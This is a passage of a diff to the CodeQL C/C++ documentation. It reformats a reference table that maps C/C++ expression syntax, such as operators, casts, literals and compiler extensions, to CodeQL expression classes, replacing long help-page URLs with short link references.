-+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``==`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ | `EQExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/ComparisonOperation.qll/type.ComparisonOperation$EQExpr.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``!=`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ | `NEExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/ComparisonOperation.qll/type.ComparisonOperation$NEExpr.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``>=`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ | `GEExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/ComparisonOperation.qll/type.ComparisonOperation$GEExpr.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``>`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ | `GTExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/ComparisonOperation.qll/type.ComparisonOperation$GTExpr.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``<=`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ | `LEExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/ComparisonOperation.qll/type.ComparisonOperation$LEExpr.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``<`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ | `LTExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/ComparisonOperation.qll/type.ComparisonOperation$LTExpr.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``?`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``:`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ | `ConditionalExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/LogicalOperation.qll/type.LogicalOperation$ConditionalExpr.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``&`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ | `AddressOfExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$AddressOfExpr.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``*`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ | `PointerDereferenceExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$PointerDereferenceExpr.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``--`` | `PostfixDecrExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/ArithmeticOperation.qll/type.ArithmeticOperation$PostfixDecrExpr.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``--`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ | `PrefixDecrExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/ArithmeticOperation.qll/type.ArithmeticOperation$PrefixDecrExpr.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``++`` | `PostfixIncrExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/ArithmeticOperation.qll/type.ArithmeticOperation$PostfixIncrExpr.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``++`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ | `PrefixIncrExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/ArithmeticOperation.qll/type.ArithmeticOperation$PrefixIncrExpr.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``__imag (`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``)`` | `ImaginaryPartExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/ArithmeticOperation.qll/type.ArithmeticOperation$ImaginaryPartExpr.html>`__ | GNU extension | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``__real (`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``)`` | `RealPartExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/ArithmeticOperation.qll/type.ArithmeticOperation$RealPartExpr.html>`__ | GNU extension | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``-`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ | `UnaryMinusExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/ArithmeticOperation.qll/type.ArithmeticOperation$UnaryMinusExpr.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``+`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ | `UnaryPlusExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/ArithmeticOperation.qll/type.ArithmeticOperation$UnaryPlusExpr.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``~`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ | | `ComplementExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/BitwiseOperation.qll/type.BitwiseOperation$ComplementExpr.html>`__ | | | -| | | `ConjugationExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/ArithmeticOperation.qll/type.ArithmeticOperation$ConjugationExpr.html>`__ | | GNU extension | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``!`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ | `NotExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/LogicalOperation.qll/type.LogicalOperation$NotExpr.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| | ``int`` *vect* ``__attribute__`` | `VectorFillOperation <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/BuiltInOperations.qll/type.BuiltInOperations$VectorFillOperation.html>`__ | GNU extension | -| | ``( ( vector_size (`` *16* ``) ) )`` | | | -| | ``= {`` *3* ``,`` *8* ``,`` *32* ``,`` *33* ``};`` | | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``sizeof (`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``)`` | `SizeofExprOperator <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Cast.qll/type.Cast$SizeofExprOperator.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``sizeof (`` `Type <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$Type.html>`__ ``)`` | `SizeofTypeOperator <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Cast.qll/type.Cast$SizeofTypeOperator.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| | ``template < typename...`` *T* ``>`` | `SizeofPackOperator <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Cast.qll/type.Cast$SizeofPackOperator.html>`__ | | -| | ``int`` *count* ``(`` *T* ``&&...`` *t* ``)`` | | | -| | ``{ return sizeof... (`` *t* ``); }`` | | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``( {`` `Stmt <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$Stmt.html>`__... ``;`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``} )`` | `StmtExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$StmtExpr.html>`__ | GNU/Clang extension | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``this`` | `ThisExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$ThisExpr.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``throw (`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``);`` | `ThrowExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Call.qll/type.Call$ThrowExpr.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``throw;`` | `ReThrowExpr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Call.qll/type.Call$ReThrowExpr.html>`__ | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| | ``typeid (`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``)`` | `TypeidOperator <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Cast.qll/type.Cast$TypeidOperator.html>`__ | | -| | ``typeid (`` `Type <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$Type.html>`__ ``)`` | | | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``__uuidof (`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``)`` | `UuidofOperator <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Cast.qll/type.Cast$UuidofOperator.html>`__ | Microsoft extension | -+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +This table lists subclasses of Expr_ representing C/C++ expressions. ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| Example syntax | CodeQL class(es) | Remarks | ++=======================================================+====================================================+===========================================+ +| ``{`` Expr_... ``}`` | | ArrayAggregateLiteral_ | | +| | | ClassAggregateLiteral_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| ``alignof (`` Expr_ ``)`` | AlignofExprOperator_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| ``alignof (`` Type_ ``)`` | AlignofTypeOperator_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| Expr_ ``[`` Expr_ ``]`` | ArrayExpr_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| ``__assume (`` Expr_ ``)`` | AssumeExpr_ | Microsoft extension | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| ``static_assert (`` Expr_ ``,`` StringLiteral_ ``)`` | StaticAssert_ | | C++11 | +| ``_Static_assert (`` Expr_ ``,`` StringLiteral_ ``)`` | | | C11 | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| ``__noop;`` | BuiltInNoOp_ | Microsoft extension | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| Expr_ ``(`` Expr_... ``)`` | ExprCall_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| | *func* ``(`` Expr_... ``)`` | FunctionCall_ | | +| | *instance* ``.`` *func* ``(`` Expr_... ``)`` | | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| Expr_ ``,`` Expr_ | CommaExpr_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| ``if (`` Type_ *arg* ``=`` Expr_ ``)`` | ConditionDeclExpr_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| ``(`` Type_ ``)`` Expr_ | CStyleCast_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| ``const_cast <`` Type_ ``> (`` Expr_ ``)`` | ConstCast_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| ``dynamic_cast <`` Type_ ``> (`` Expr_ ``)`` | DynamicCast_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| ``reinterpret_cast <`` Type_ ``> (`` Expr_ ``)`` | ReinterpretCast_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| ``static_cast <`` Type_ ``> (`` Expr_ ``)`` | StaticCast_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| | ``template < typename...`` *T* ``>`` | FoldExpr_ | Appears only in *uninstantiated* | +| | ``auto`` *sum* ``(`` *T* `...` *t* ``)`` | | templates | +| | ``{ return (`` *t* ``+ ... + 0 ); }`` | | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| ``int`` *func* ``(`` *format* ``, ... );`` | FormattingFunctionCall_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| | ``[ = ] ( float`` *b* ``) -> float`` | LambdaExpression_ | C++11 | +| | ``{ return`` *captured* ``*`` *b* ``; }`` | | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| | ``^ int ( int`` *x* ``, int`` *y* ``) {`` | BlockExpr_ | Apple extension | +| | ``{`` Stmt_... ``; return`` *x* ``+`` *y* ``; }`` | | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| ``void *`` *labelptr* ``= &&`` *label* ``;`` | LabelLiteral_ | GNU extension; use with ComputedGotoStmt_ | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| *"%3d %s\\n"* | FormatLiteral_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| *0xdbceffca* | HexLiteral_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| *0167* | OctalLiteral_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| *'c'* | CharLiteral_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| *"abcdefgh"*, *L"wide"* | StringLiteral_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| ``new`` Type_ ``[`` Expr_ ``]`` | NewArrayExpr_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| ``new`` Type_ | NewExpr_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| ``delete [ ]`` Expr_ ``;`` | DeleteArrayExpr_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| ``delete`` Expr_ ``;`` | DeleteExpr_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| ``noexcept (`` Expr_ ``)`` | NoExceptExpr_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| Expr_ ``=`` Expr_ | AssignExpr_ | See also Initializer_ | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| Expr_ ``+=`` Expr_ | | AssignAddExpr_ | | +| | | AssignPointerAddExpr_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| Expr_ ``/=`` Expr_ | AssignDivExpr_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| Expr_ ``*=`` Expr_ | AssignMulExpr_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| Expr_ ``%=`` Expr_ | AssignRemExpr_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| Expr_ ``-=`` Expr_ | | AssignSubExpr_ | | +| | | AssignPointerSubExpr_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| Expr_ ``&=`` Expr_ | AssignAndExpr_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| Expr_ ``<<=`` Expr_ | AssignLShiftExpr_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| Expr_ `` | =`` Expr_ | AssignOrExpr_ | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| Expr_ ``>>=`` Expr_ | AssignRShiftExpr_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| Expr_ ``^=`` Expr_ | AssignXorExpr_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| Expr_ ``+`` Expr_ | | AddExpr_ | | | +| | | PointerAddExpr_ | | | +| | | ImaginaryRealAddExpr_ | | C99 | +| | | RealImaginaryAddExpr_ | | C99 | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| Expr_ ``/`` Expr_ | | DivExpr_ | | | +| | | ImaginaryDivExpr_ | | C99 | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| Expr_ ``>?`` Expr_ | MaxExpr_ | GNU extension | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| Expr_ ``<?`` Expr_ | MinExpr_ | GNU extension | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| Expr_ ``*`` Expr_ | | MulExpr_ | | | +| | | ImaginaryMulExpr_ | | C99 | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| Expr_ ``%`` Expr_ | RemExpr_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| Expr_ ``-`` Expr_ | | SubExpr_ | | | +| | | PointerDiffExpr_ | | | +| | | PointerSubExpr_ | | | +| | | ImaginaryRealSubExpr_ | | C99 | +| | | RealImaginarySubExpr_ | | C99 | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| Expr_ ``&`` Expr_ | BitwiseAndExpr_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| Expr_ ``|`` Expr_ | BitwiseOrExpr_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| Expr_ ``^`` Expr_ | BitwiseXorExpr_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| Expr_ ``<<`` Expr_ | LShiftExpr_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| Expr_ ``>>`` Expr_ | RShiftExpr_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| Expr_ ``&&`` Expr_ | LogicalAndExpr_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| Expr_ ``||`` Expr_ | LogicalOrExpr_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| Expr_ ``==`` Expr_ | EQExpr_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| Expr_ ``!=`` Expr_ | NEExpr_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| Expr_ ``>=`` Expr_ | GEExpr_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| Expr_ ``>`` Expr_ | GTExpr_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| Expr_ ``<=`` Expr_ | LEExpr_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| Expr_ ``<`` Expr_ | LTExpr_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| Expr_ ``?`` Expr_ ``:`` Expr_ | ConditionalExpr_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| ``&`` Expr_ | AddressOfExpr_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| ``*`` Expr_ | PointerDereferenceExpr_ | | 